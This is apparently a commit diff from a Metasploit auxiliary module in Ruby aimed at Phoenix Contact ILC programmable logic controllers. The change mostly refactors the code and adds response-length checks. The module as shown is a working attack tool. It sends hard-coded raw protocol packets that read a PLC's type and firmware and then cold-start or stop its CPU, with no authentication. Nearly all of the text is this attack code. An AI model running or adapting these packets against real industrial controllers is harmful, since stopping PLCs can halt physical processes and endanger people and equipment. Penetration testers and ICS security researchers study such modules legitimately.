6
6
require 'msf/core'
7
7
8
8
class MetasploitModule < Msf ::Auxiliary
9
-
10
9
include Msf ::Exploit ::Remote ::Tcp
11
10
include Rex ::Socket ::Tcp
12
11
@@ -71,11 +70,21 @@ def send_recv_once(data)
71
70
end
72
71
73
72
def get_info ( rhost , rport )
74
- connect ( true , { 'RHOST' => rhost , 'RPORT' => rport } )
75
- code = send_recv_once ( "\x01 \x01 \x00 \x1a \x00 ^\x00 \x00 \x00 \x00 \x00 \x03 \x00 \x0c IBETH01N0_M\x00 " ) [ 34 ..35 ]
73
+ connect ( true , 'RHOST' => rhost , 'RPORT' => rport )
74
+ data = send_recv_once ( "\x01 \x01 \x00 \x1a \x00 ^\x00 \x00 \x00 \x00 \x00 \x03 \x00 \x0c IBETH01N0_M\x00 " )
75
+ if data . nil? || data . length < 36
76
+ print_error ( "Could not obtain information on this device" )
77
+ disconnect
78
+ return "UNKNOWN"
79
+ end
80
+ code = data [ 34 ..35 ]
76
81
send_recv_once ( "\x01 \x05 \x00 \x16 \x00 \x5f \x00 \x00 \x08 \xef \x00 " + hex_to_bin ( code ) + "\x00 \x00 \x00 \x22 \x00 \x04 \x02 \x95 \x00 \x00 " )
77
82
data = send_recv_once ( "\x01 \x06 \x00 \x0e \x00 \x61 \x00 \x00 \x88 \x11 \x00 " + hex_to_bin ( code ) + "\x04 \x00 " )
78
83
disconnect
84
+ if data . nil? || data . length < 200
85
+ print_error ( "Could not obtain information on this device" )
86
+ return "UNKNOWN"
87
+ end
79
88
plctype = hex_to_bin ( data [ 60 ..99 ] )
80
89
print_status ( "PLC Type = " + plctype )
81
90
print_status ( "Firmware = " + hex_to_bin ( data [ 132 ..139 ] ) )
@@ -119,17 +128,17 @@ def init_phase2
119
128
end
120
129
121
130
def get_state1 ( data )
122
- if data [ 48 ..49 ] == '03'
123
- state = 'RUN'
124
- elsif data [ 48 ..49 ] == '07'
125
- state = 'STOP'
126
- elsif data [ 49 ..49 ] == '00'
127
- state = 'ON'
128
- else
129
- print_error ( 'CPU State not detected, full result is ' + data )
130
- return
131
- end
132
- state
131
+ if data [ 48 ..49 ] == '03'
132
+ state = 'RUN'
133
+ elsif data [ 48 ..49 ] == '07'
134
+ state = 'STOP'
135
+ elsif data [ 49 ..49 ] == '00'
136
+ state = 'ON'
137
+ else
138
+ print_error ( 'CPU State not detected, full result is ' + data )
139
+ return
140
+ end
141
+ state
133
142
end
134
143
135
144
def get_state2 ( data )
@@ -145,7 +154,7 @@ def get_state2(data)
145
154
end
146
155
147
156
def get_cpu ( rhost , rport , devicetype )
148
- connect ( true , { 'RHOST' => rhost , 'RPORT' => rport } )
157
+ connect ( true , 'RHOST' => rhost , 'RPORT' => rport )
149
158
state = 'unknown'
150
159
if devicetype == '15x'
151
160
init_phase1
@@ -165,11 +174,11 @@ def get_cpu(rhost, rport, devicetype)
165
174
end
166
175
167
176
def set_cpu ( rhost , rport , action , state , devicetype )
168
- connect ( true , { 'RHOST' => rhost , 'RPORT' => rport } )
177
+ connect ( true , 'RHOST' => rhost , 'RPORT' => rport )
169
178
if devicetype == '15x'
170
179
init_phase1 ## Several packets (21)
171
180
send_recv_once ( "\x01 \x00 \x02 \x00 \x00 \x00 \x1c \x00 \x03 \x00 \x03 \x00 \x00 \x00 \x00 \x00 \x0c \x00 \x00 \x00 \x07 \x00 \x05 \x00 \x06 \x00 \x08 \x00 \x10 \x00 \x02 \x00 \x11 \x00 \x0e \x00 \x0f \x00 \r \x00 \x16 @\x16 \x00 " )
172
- if action == 'START' or ( action == 'REV' and state == 'STOP' )
181
+ if action == 'START' || ( action == 'REV' && state == 'STOP' )
173
182
print_status ( '--> Sending COLD start now' )
174
183
send_recv_once ( "\x01 \x00 \x02 \x00 \x00 \x00 \x02 \x00 \x01 \x00 \x06 \x00 \x00 \x00 \x00 \x00 \x01 \x00 " )
175
184
else
@@ -178,7 +187,7 @@ def set_cpu(rhost, rport, action, state, devicetype)
178
187
end
179
188
elsif devicetype == '39x'
180
189
init_phase2 ## Several packets (6)
181
- if action == 'START' or ( action == 'REV' and state == 'STOP' )
190
+ if action == 'START' || ( action == 'REV' && state == 'STOP' )
182
191
print_status ( '--> Sending COLD start now' )
183
192
send_recv_once ( "\xcc \x01 \x00 \x04 \x40 \x0e \x00 \x00 \x18 \x21 " )
184
193
else
@@ -201,10 +210,10 @@ def run
201
210
202
211
device = get_info ( rhost , datastore [ 'RINFOPORT' ] )
203
212
204
- if device . start_with? ( 'ILC 15' ) or device . start_with? ( 'ILC 17' )
213
+ if device . start_with? ( 'ILC 15' , 'ILC 17' )
205
214
devicetype = '15x'
206
215
print_status ( '--> Detected 15x/17x series, getting current CPU state:' )
207
- ractionport == 0 ? ( rport = 41100 ) : ( rport = ractionport )
216
+ ractionport == 0 ? ( rport = 41100 ) : ( rport = ractionport )
208
217
elsif device . start_with? ( 'ILC 39' )
209
218
devicetype = '39x'
210
219
print_status ( '--> Detected 39x series, getting current CPU state:' )
@@ -218,11 +227,10 @@ def run
218
227
print_status ( '------------------------------------' )
219
228
220
229
if action == "NOOP"
221
- print_status ( ' --> No action specified (' + action + ' ), stopping here' )
230
+ print_status ( " --> No action specified (#{ action } ), stopping here" )
222
231
return
223
232
end
224
233
225
234
set_cpu ( rhost , rport , action , state , devicetype )
226
235
end
227
236
end
228
-
0 commit comments